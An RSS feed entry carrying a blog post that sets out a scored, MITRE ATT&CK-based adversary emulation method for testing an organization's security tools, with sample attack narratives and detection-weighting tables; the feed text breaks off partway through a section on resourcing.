<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Jeremy Mill</title>
    <description>The latest articles on DEV Community by Jeremy Mill (@living_syn).</description>
    <link>https://dev.to/living_syn</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4629%2F38eace71a87de81afe6cc86709c7090c.png</url>
      <title>DEV Community: Jeremy Mill</title>
      <link>https://dev.to/living_syn</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/living_syn"/>
    <language>en</language>
    <item>
      <title>Effective Adversary Emulation</title>
      <dc:creator>Jeremy Mill</dc:creator>
      <pubDate>Mon, 27 Nov 2023 14:46:45 +0000</pubDate>
      <link>https://dev.to/living_syn/effective-adversary-emulation-22gk</link>
      <guid>https://dev.to/living_syn/effective-adversary-emulation-22gk</guid>
      <description>&lt;h2&gt;
  
  
  Abstract
&lt;/h2&gt;

&lt;p&gt;So you’ve built an amazing suite of security tools that provide &lt;a href="https://csrc.nist.gov/glossary/term/defense_in_depth" rel="noopener noreferrer"&gt;defense in depth&lt;/a&gt;. Have you ever actually tested them? Have you tested them in a controlled manner that fully examines their performance using real-world scenarios? Here I'll describe an effective method for adversary emulation designed for small and medium-sized security teams. I’ll describe how to build a test plan, execute it safely, and how to evaluate the results. I’ll pull it all together by describing how to fit this testing methodology into your security program, keep it up to date, and use it to drive real changes that make your organization safer in a very real way.&lt;/p&gt;

&lt;h4&gt;
  
  
  Video
&lt;/h4&gt;

&lt;p&gt;I've also given the contents of this blog as a talk at BSidesCT and VetSecCon. You can view a recording of the BSidesCT talk &lt;a href="https://www.youtube.com/watch?v=_XyqJJnNFoU" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Intro
&lt;/h2&gt;

&lt;p&gt;Far too often those of us responsible for security fail to test our tools effectively. For example, we may only test our tools during a proof of concept; Comparing two or three tools against each other with a limited set of testing criteria in an untuned state with a limited amount of time to run the test. Or, we may test our tools well, but only individually. The problem with testing only during the proof of concept is that we miss the context of running a tool tuned for our environment where not only our selection criteria matter, but rather every feature the tool supports probably does. When we test only one tool, we miss the full context of our environment; We make assumptions about what is covered by other tools and never put it all together to evaluate those assumptions. This is akin to having unit tests with no integration tests.&lt;/p&gt;

&lt;p&gt;This process also differs from other adversary emulation frameworks/processes because it does not attempt to &lt;em&gt;perfectly&lt;/em&gt; emulate any single adversary. That method doesn't make sense for several reasons, first of which is that your org doesn't face a single threat and the threat actors emulated by other frameworks change their tactics, techniques, and procedures often based on the organization they're targeting and with time. &lt;/p&gt;

&lt;p&gt;The testing process I describe is a MITRE ATT&amp;amp;CK driven, regularly scheduled process that tests the chosen security stack of an organization. It can be thought of as an integration or clear box test for a security program. &lt;/p&gt;

&lt;p&gt;The process follows the following steps:&lt;/p&gt;

&lt;p&gt;1) Scope&lt;br&gt;
2) Tactics, Techniques, and Procedures (TTPs)&lt;br&gt;
3) Design&lt;br&gt;
4) Weigh&lt;br&gt;
5) Execute &amp;amp; Score&lt;br&gt;
6) Analyze &amp;amp; Plan&lt;br&gt;
7) Implement&lt;/p&gt;

&lt;h2&gt;
  
  
  The Process
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Scope
&lt;/h3&gt;

&lt;p&gt;In the scoping step you must decide what you will, and what you will not test. This sounds simple and straightforward, but in reality it's quite hard to get right. Select a scope too large and the test becomes unwieldy and too hard to execute. Select a scope too small and you fail to effectively test the program and identify gaps. &lt;/p&gt;

&lt;p&gt;Let's use the following (massively oversimplified) picture of an IT environment for an organization that hosts some services on the open internet:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg9ltb7fk5vipjh58o2dx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg9ltb7fk5vipjh58o2dx.png" alt="A massively oversimplified IT environment"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you attempt to test the red outlined items, the test will be entirely too large. You will be bogged down in test development and you won't be able to dig deep into the findings in later stages. Instead, you should try to scope to something closer to the purple or teal squares. Where purple tests the endpoints up to the authentication system and teal tests the cloud infrastructure against something like the &lt;code&gt;log4j&lt;/code&gt; or &lt;code&gt;MoveIT&lt;/code&gt; zero days. An additional square could be drawn here from &lt;code&gt;Endpoint&lt;/code&gt; to &lt;code&gt;K8s&lt;/code&gt; which would represent an exploited developer workstation or insider threat to your production systems. &lt;/p&gt;

&lt;p&gt;When selecting your scope you should also keep in mind your data classification and &lt;a href="https://www.mitre.org/our-impact/intellectual-property/crown-jewels-analysis" rel="noopener noreferrer"&gt;crown jewels analysis&lt;/a&gt; to make sure that you are testing systems most critical for the protection of the data your organizations most wants to protect.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Tactics, Techniques, and Procedures
&lt;/h3&gt;

&lt;p&gt;Tactics, Techniques, and Procedures (TTPs) are "the behaviors, methods, or patterns of activity used by a threat actor, or group of threat actors". With your scope in hand it is time to research how threat actors attack the systems you have selected to test. After all, it makes no sense to learn about attacks on hypervisors if you haven't decided to test your virtualization infrastructure.&lt;/p&gt;

&lt;p&gt;Collection of TTPs is part of this step but this step should never &lt;em&gt;really&lt;/em&gt; stop. I suggest building a running notebook of good blogs and posts that may apply to your environment and the systems you are tasked to protect. So you should think about this step as a selection from your ever-growing collection of TTPs and not a step to collect them by itself. &lt;/p&gt;

&lt;p&gt;There are many different sources you can use to build your library of TTPs. Some of the ones I use regularly are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.mandiant.com/resources/blog" rel="noopener noreferrer"&gt;https://www.mandiant.com/resources/blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.sentinelone.com/blog/" rel="noopener noreferrer"&gt;https://www.sentinelone.com/blog/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://attack.mitre.org/groups/" rel="noopener noreferrer"&gt;https://attack.mitre.org/groups/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Infosec mastodon (formerly infosec twitter)

&lt;ul&gt;
&lt;li&gt;I'm partial to infosec.exchange&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;There are also numerous paid threat intelligence feeds that are also fantastic and if you have access to them can be used to supplement public sources.&lt;/p&gt;

&lt;p&gt;Finally, while collecting your list of TTPs you want to make sure that you are building a collection of TTPs across the full exploit chain. During the test, you (may) need to test everything from initial access to exfiltration and you'll need specific TTPs for each. Also, remember that what you care most about is detecting behaviors. So just because you can't find a public example of a threat actor using &lt;code&gt;rsync&lt;/code&gt; for exfiltration doesn't mean that you can't use it.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Design
&lt;/h3&gt;

&lt;p&gt;With a well-defined scope and a set of TTPs chosen, it's time to design a test. The best way to do this is to start with a narrative. Think about how you would describe an interesting case study or incident analysis to a colleague or friend (assuming your friends are as nerdy as mine). An example may be:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A threat actor built a malicious, typo-squatted NPM package and published it. A developer accidentally installed it. The malicious package downloaded a stager which downloaded a c2 payload. The attackers stole the developer's Okta auth cookies and used them to move laterally into the organization's cloud infrastructure&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;With the narrative written you can break it down into individual steps, adding additional details. This can be done in a flowchart like the following:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foxwta12vunjayrcbq9f3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foxwta12vunjayrcbq9f3.png" alt="A flow chart of the attack chain"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It is also useful to map out the infrastructure diagram. For this narrative it may look something like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe09yp9r5evcmwul0o27s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe09yp9r5evcmwul0o27s.png" alt="An infrastructure and attack diagram"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The creation of these two diagrams may feel unnecessary but they are very useful to share among the team performing the test to ensure that everyone is on the same page. They are also incredibly useful for sharing with other key stakeholders when informing them that you are going to conduct the test. &lt;/p&gt;

&lt;h4&gt;
  
  
  3.1 Collection
&lt;/h4&gt;

&lt;p&gt;Step 3 also includes the collection of any tools you decide to acquire or build as part of your design. If you say you're going to use Cobalt Strike as your C2, you need to acquire a copy of it during this step of the process. If you say you're going to build a custom stager, you must build it during this stage as well.&lt;/p&gt;

&lt;p&gt;As a note, this step also includes education. If you're selecting an open source tool like &lt;code&gt;responder&lt;/code&gt; or &lt;code&gt;sliver&lt;/code&gt;, you should educate yourself during this step on how to use the tool before proceeding to steps 4 and 5. You should not be learning "on the job" during the execution step.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Weigh
&lt;/h3&gt;

&lt;p&gt;Now that you have a well-defined narrative that combines your scope and your TTPs, it's time to break it down further. You will do this by 1) defining detections and then 2) weighing them. The output of this step is a table with all of the detections you expect to see and their relative weights.&lt;/p&gt;

&lt;h4&gt;
  
  
  4.1. Detections
&lt;/h4&gt;

&lt;p&gt;For each step in the design from step 3, you want to think about what should be seen from your security tools. Let's start with a very simple step from the sample design: the download of the typosquatted NPM package. You probably want to see:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The download of the file on the network security tool (firewall, SASE, etc)&lt;/li&gt;
&lt;li&gt;The network connection on the EDR if it supports it&lt;/li&gt;
&lt;li&gt;The creation of the file on disk from the EDR&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That's at least 3 rows on the table you are creating in this step. A massively truncated version of the output of step 4.1 is:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Dev downloads NPM&lt;/td&gt;
&lt;td&gt;Firewall&lt;/td&gt;
&lt;td&gt;GET request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dev downloads NPM&lt;/td&gt;
&lt;td&gt;EDR&lt;/td&gt;
&lt;td&gt;netconn/GET request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dev downloads NPM&lt;/td&gt;
&lt;td&gt;EDR&lt;/td&gt;
&lt;td&gt;file creation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NPM pulls stager&lt;/td&gt;
&lt;td&gt;Firewall&lt;/td&gt;
&lt;td&gt;GET request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NPM pulls stager&lt;/td&gt;
&lt;td&gt;EDR&lt;/td&gt;
&lt;td&gt;netconn/GET request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stager executes&lt;/td&gt;
&lt;td&gt;EDR&lt;/td&gt;
&lt;td&gt;Execution from memory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attacker uses Okta cookie&lt;/td&gt;
&lt;td&gt;Okta&lt;/td&gt;
&lt;td&gt;Suspicious behavior&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;I will refer to each row in this table as an &lt;em&gt;Action, Tool, Event&lt;/em&gt; tuple, or ATE tuple going forward.&lt;/p&gt;

&lt;h4&gt;
  
  
  4.2. Weigh
&lt;/h4&gt;

&lt;p&gt;Not all steps in this process are as critical as the others to detect or prevent. For example, let's say persistence is achieved by creating or modifying an existing scheduled task. Scheduled task creation and modification events happen all the time, making them a much lower fidelity alerting metric than say, dumping LSASS. You want to identify the most critical items so you can treat them as more important when you analyze the results after the test execution is complete.&lt;/p&gt;

&lt;p&gt;You do this by assigning a weight to each one of the rows you built in the previous step. These weights are subjective so the exact range you use doesn't matter, but the recommended scale is a range of 1 to 10 where 1 is the lowest fidelity/lowest criticality and 10 is "this absolutely must be detected or prevented and alerted on". &lt;/p&gt;

&lt;p&gt;The sample from 4.1 with weights added looks like this:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;th&gt;Weight&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Dev downloads NPM&lt;/td&gt;
&lt;td&gt;Firewall&lt;/td&gt;
&lt;td&gt;GET request&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dev downloads NPM&lt;/td&gt;
&lt;td&gt;EDR&lt;/td&gt;
&lt;td&gt;netconn/GET request&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dev downloads NPM&lt;/td&gt;
&lt;td&gt;EDR&lt;/td&gt;
&lt;td&gt;file creation&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NPM pulls stager&lt;/td&gt;
&lt;td&gt;Firewall&lt;/td&gt;
&lt;td&gt;GET request&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NPM pulls stager&lt;/td&gt;
&lt;td&gt;EDR&lt;/td&gt;
&lt;td&gt;netconn/GET request&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stager executes&lt;/td&gt;
&lt;td&gt;EDR&lt;/td&gt;
&lt;td&gt;Execution from memory&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attacker uses Okta cookie&lt;/td&gt;
&lt;td&gt;Okta&lt;/td&gt;
&lt;td&gt;Suspicious behavior&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  5. Execute and Score
&lt;/h3&gt;

&lt;p&gt;Time to hang up your white hat (off white?) and put on your black one because it's time to play bad guy and run the test. As you perform the test you should carefully note what you did and when you did it down to the second if you can. You'll thank yourself later when you're digging through logs to find out why something didn't alert like you expected it to. &lt;/p&gt;

&lt;p&gt;Scoring is subjective and given on a scale of 0 to the weight assigned to the ATE based on the performance of the tool. If a tool does exactly what you think it should have up to blocking the attack chain (more on that in a bit) it gets a score equal to its weight. If the tool absolutely misses the mark, logs nothing, and doesn't get in the way of compromising the system, it gets a 0.  A tool may also get any score in between. Maybe you expected it to generate an alert but all it did was log, this may be a score of 2 out of a weight of 6 or somewhere else in between. The "why" it failed &lt;em&gt;does not matter&lt;/em&gt; at this step in the process.&lt;/p&gt;

&lt;p&gt;Scoring may be performed during the test or after all of the steps are completed. You may find it easier to have one set of engineers performing the test communicating with a second set doing the scoring as the test is performed. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Important&lt;/strong&gt;: When one of the security tools does its job and blocks a step in your design the test &lt;em&gt;IS NOT OVER&lt;/em&gt;. If you stopped as soon as one of our tools was successful you would not be testing the defense in depth of the security tool stack. Instead that Action, Tool, Event tuple gets a full score, you allow-list the network connection, behavior, or signature in the tool, and you continue the test.&lt;/p&gt;

&lt;p&gt;After the test has been completed and scores are assigned, you will have a scored ATE table that may look like this:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;th&gt;Weight&lt;/th&gt;
&lt;th&gt;Score&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Dev downloads NPM&lt;/td&gt;
&lt;td&gt;Firewall&lt;/td&gt;
&lt;td&gt;GET request&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dev downloads NPM&lt;/td&gt;
&lt;td&gt;EDR&lt;/td&gt;
&lt;td&gt;netconn/GET request&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dev downloads NPM&lt;/td&gt;
&lt;td&gt;EDR&lt;/td&gt;
&lt;td&gt;file creation&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NPM pulls stager&lt;/td&gt;
&lt;td&gt;Firewall&lt;/td&gt;
&lt;td&gt;GET request&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NPM pulls stager&lt;/td&gt;
&lt;td&gt;EDR&lt;/td&gt;
&lt;td&gt;netconn/GET request&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stager executes&lt;/td&gt;
&lt;td&gt;EDR&lt;/td&gt;
&lt;td&gt;Execution from memory&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attacker uses Okta cookie&lt;/td&gt;
&lt;td&gt;Okta&lt;/td&gt;
&lt;td&gt;Suspicious behavior&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Note on Deviations
&lt;/h4&gt;

&lt;p&gt;Deviations from the test plan should be minimized. You want the steps of this process to be repeatable so you can test the fixes you implement in step 7. Small deviations such as changing obfuscation techniques should be annotated and allowed but large deviations such as changing from one C2 infrastructure to another should be avoided. This is also because you have (hopefully) communicated your test plan to other key stakeholders and you don't want to deviate in principle from what you have told them and gotten their approval on.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. Analyze and Plan
&lt;/h3&gt;

&lt;p&gt;Unfortunately, the fun "pretend to be a bad guy" step is over. But fortunately, the "reason we all get paid" step is about to begin. Like step 4, this step has two sub-phases; Analyze and Plan.&lt;/p&gt;

&lt;h4&gt;
  
  
  6.1 Analyze
&lt;/h4&gt;

&lt;p&gt;The first step in your analysis is to calculate the ATE+Score deltas. These are defined as the Score subtracted from the Weight. The higher the delta, the more critical the failure is in the security system. The sample table now with calculated deltas is below:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;th&gt;Weight&lt;/th&gt;
&lt;th&gt;Score&lt;/th&gt;
&lt;th&gt;Delta&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Dev downloads NPM&lt;/td&gt;
&lt;td&gt;Firewall&lt;/td&gt;
&lt;td&gt;GET request&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dev downloads NPM&lt;/td&gt;
&lt;td&gt;EDR&lt;/td&gt;
&lt;td&gt;netconn/GET request&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dev downloads NPM&lt;/td&gt;
&lt;td&gt;EDR&lt;/td&gt;
&lt;td&gt;file creation&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NPM pulls stager&lt;/td&gt;
&lt;td&gt;Firewall&lt;/td&gt;
&lt;td&gt;GET request&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NPM pulls stager&lt;/td&gt;
&lt;td&gt;EDR&lt;/td&gt;
&lt;td&gt;netconn/GET request&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stager executes&lt;/td&gt;
&lt;td&gt;EDR&lt;/td&gt;
&lt;td&gt;Execution from memory&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attacker uses Okta cookie&lt;/td&gt;
&lt;td&gt;Okta&lt;/td&gt;
&lt;td&gt;Suspicious behavior&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Criticality of failures is defined by the magnitude of the delta.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;None: 0&lt;/li&gt;
&lt;li&gt;Low: 1-3&lt;/li&gt;
&lt;li&gt;Medium: 4-6&lt;/li&gt;
&lt;li&gt;High: 7-9&lt;/li&gt;
&lt;li&gt;Critical: 9+&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After calculating the deltas you should perform a root cause analysis starting from the most critical of the failures. Ask yourself questions like: Why did the tool not log? Why didn't the alert fire? Why didn't it end up in the SIEM to be correlated? Why wasn't that TLS intercepted? &lt;/p&gt;

&lt;h4&gt;
  
  
  6.2 Plan
&lt;/h4&gt;

&lt;p&gt;At this stage in the process you have everything you need to determine what to work on first and why you need to work on it. You next need to determine the correct path forward to fixing it. There are often hard decisions in this step. Sometimes it's as easy as fixing a typo in a custom alert but other times it's having a difficult discussion with the vendor of a tool or your MSSP.&lt;/p&gt;

&lt;p&gt;You should be turning all of these plans into tickets in your work tracking system with appropriate criticalities assigned. After all, if it's not a ticket, will it ever get done? Grouping these tickets together as an adversary emulation epic (assuming Jira) helps keep everything more organized.&lt;/p&gt;

&lt;h3&gt;
  
  
  7. Implement
&lt;/h3&gt;

&lt;p&gt;Every other step means nothing if you don't do something with the outputs. It's time to pick up the tickets you created and organized by criticality in step 6 and fix them. Your definition of done for completing a ticket MUST include testing them. You should never assume a change is successful without proving it. &lt;/p&gt;

&lt;h2&gt;
  
  
  Repeat
&lt;/h2&gt;

&lt;p&gt;The cybersecurity environment we operate in is changing rapidly and the threats faced today are not the threats we will face tomorrow. As a result, the value of the outputs of this test begins to depreciate as soon as they are created. Adversary emulation tests should be performed annually or semi-annually in order to ensure that we are keeping up with the rate of change of attackers. &lt;/p&gt;

&lt;p&gt;It is also important to vary your scope to ensure that you are testing all the different avenues that you can be attacked and all of the different security tools and log sources that you have in your environment.&lt;/p&gt;

&lt;h2&gt;
  
  
  Your first test
&lt;/h2&gt;

&lt;p&gt;If you've made it this far into this guide I hope I've convinced you that this process is worth performing at your organization and you're excited to get started. It is advisable to keep two things in mind for your very first test:&lt;/p&gt;

&lt;p&gt;1) Start Small&lt;br&gt;
2) Keep. It. Simple.&lt;/p&gt;

&lt;p&gt;It is incredibly easy to over scope your first test (and all tests, really) so you should start small. Smaller than you think you probably need to, in fact. For many small to medium-sized organizations a good first test narrative may be something like:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A threat actor emails a user with a link to an encrypted zip file with malware in it. The user downloads the zip and executes the malware. The malware persists via a scheduled task and spawns a reverse shell. The attacker uses it to steal files from the local computer.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This narrative has only one endpoint in scope and makes no attempt to move laterally. But nearly all of us can think of a user in our organizations (maybe an executive) for whom if this happened, it would be a major event. &lt;/p&gt;

&lt;p&gt;It's also worth noting that this narrative has nothing crazy in it. No process hollowing, module stomping, dynamic call stacks or anything like that. That's because you probably don't need ANYTHING fancy to identify some failures in your security tools. You get fancy as you mature, you START with the basics like basic reverse shells, SSH, Powershell, the basics in Metasploit, etc. &lt;strong&gt;Keep. It. Simple.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Resourcing
&lt;/h2&gt;

&lt;p&gt;The resourcing timelines here are best estimates based on experience. They can vary widely depending on the size and skill sets of the security professionals on your organization's team(s).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Steps 1 and 2 often take one to two business days to fully select your scope and TTPs and produce the documentation.&lt;/li&gt;
